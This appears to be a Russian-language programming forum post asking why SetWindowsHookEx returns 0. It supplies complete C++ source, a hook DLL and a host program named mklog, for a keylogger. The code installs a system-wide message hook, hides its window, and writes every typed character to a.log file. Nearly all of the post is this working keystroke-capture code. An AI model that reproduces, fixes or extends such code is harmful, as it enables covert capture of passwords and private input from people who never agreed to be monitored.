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среда devc++ | Код |
//mklog_dll.cpp
#include "dll.h"
LRESULT CALLBACK HookProc(int,WPARAM,LPARAM);
HINSTANCE hInstance = NULL;
#pragma data_seg(".SData")
HHOOK hMsgHook = NULL;
UINT KBoardMessage = 0; //NULL;
HWND hParentWnd = NULL;
#pragma data_seg( )
#pragma comment(linker,"/SECTION:.SData,RWS")
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;
return TRUE;
}
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
MSG * msg = (MSG * )lParam;
if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))
PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 ); }
return CallNextHookEx (hMsgHook, nCode ,wParam , lParam);
}
MYHOOKDLL_API int SetHook(HWND hWnd, UINT UpdateMsg)
{
if (hWnd==NULL) MessageBox(NULL,"Хендл главного окна передать не удалось",
"Message",MB_OK);
hParentWnd=hWnd;
KBoardMessage=UpdateMsg;
hMsgHook= SetWindowsHookEx(WH_GETMESSAGE,
HookProc,
hInstance,
0);//NULL
if (hMsgHook!=NULL) {
MessageBox(NULL,"Хук установить удалось","Message",MB_OK);
}
else
{
MessageBox(NULL,"Хук установить не удалось","Message",MB_OK);
}
return 0;
}
MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);
MessageBox(NULL,"Хук уален","Message",MB_OK);
return 0;
}
..............................................................................................................................................
//dll.h
#define MYHOOKDLL_API __declspec(dllexport)
#include <windows.h>//Подгрузка библиотек с функциями WINAPI.
extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT ); //Будущая функция установки хука
MYHOOKDLL_API int UnSetHook();//Соответственно функция удаления хука.
}
..............................................................................................................................................
//mklog.cpp
#include <windows.h>
#include <stdio.h>
LRESULT CALLBACK DCDemoWndProc (HWND, UINT, UINT, LONG);
#define WM_HOOKMESSAGE WM_USER+1
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
HINSTANCE hDllInst;
HWND hWnd;
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdParam, int nCmdShow)
{
WNDCLASS WndClass;
MSG Msg;
char szClassName[]="DCDemo";
//
WndClass.style=CS_HREDRAW|CS_VREDRAW;
WndClass.lpfnWndProc=DCDemoWndProc;
WndClass.cbClsExtra=0;
WndClass.cbWndExtra=0;
WndClass.hInstance=hInstance;
WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
WndClass.hCursor=LoadCursor(NULL,IDC_ARROW);
WndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
WndClass.lpszMenuName="MyMenu";
WndClass.lpszClassName=szClassName;
if (!RegisterClass(&WndClass))
{
MessageBox(NULL,"Cannot register class","Error",MB_OK);
return 0;
}
hWnd=CreateWindow(szClassName, "Программа 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,
NULL);
ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);
hDllInst = LoadLibrary((LPCTSTR) "1.dll");
if (!hDllInst)
{
MessageBox(NULL,"DLL DO NOT LOAD","Message",MB_OK);
}
else
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
}
SetHook(hWnd,WM_HOOKMESSAGE);
while(GetMessage(&Msg,NULL,0,0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
}
LRESULT CALLBACK DCDemoWndProc(HWND hWnd, UINT Message, UINT wParam, LONG lParam)
{
FILE *f= fopen("a.log","a");
switch(Message)
{
case WM_DESTROY:
PostQuitMessage(0);
UnSetHook();
if (hDllInst) FreeLibrary(hDllInst);
return 0;
case WM_HOOKMESSAGE:
switch(wParam)
{
case 0x08: fprintf(f,"");break;
case 0x0D: fprintf(f,"\n");break;
case 0x1B:
fclose(f);
UnSetHook();
PostQuitMessage(0);
if (hDllInst) FreeLibrary(hDllInst);break;
return 0;
case 0x10: fprintf(f,"Shift");break;
case 0x09: fprintf(f,"Tab");break;
case 0x20: fprintf(f,"_");break;
default:
fprintf(f,"%c",wParam);
}
break;
}
return DefWindowProc(hWnd,Message,wParam,lParam);
}
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Неудается установить хук( Почему SetWindowsHookEx возвращает 0? |
dll и SetWindowsHookEx, установка хука 
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